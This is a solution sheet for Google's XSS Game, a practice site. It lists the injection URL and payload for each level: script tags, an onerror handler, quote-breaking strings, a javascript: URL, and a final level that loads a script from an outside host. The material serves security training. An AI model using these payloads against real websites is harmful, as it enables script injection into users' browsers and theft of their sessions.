Google's XSS-Game Solutions

Below are the solutions to Google XSS challenges hosted on https://xss-game.appspot.com

Level 1: Hello, world of XSS​

Query https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>
Vector <script>alert(1)</script>

Level 2: Persistence is key​

Vector "><img src=x onerror=alert(1)>

Level 3: That sinking feeling...​

Query https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script>
Vector '/><script>alert(1)</script>

Level 4: Context matters​

Query https://xss-game.appspot.com/level4/frame?timer=1');alert('1
Vector 1')%3Balert('1

Level 5: Breaking protocol​

Query https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Vector javascript:alert(1)

Follow the White Rabbit
Query https://xss-game.appspot.com/level6/frame#HTTPS://dj-infosec.divshot.io/content.js
Vector HTTPS://dj-infosec.divshot.io/content.js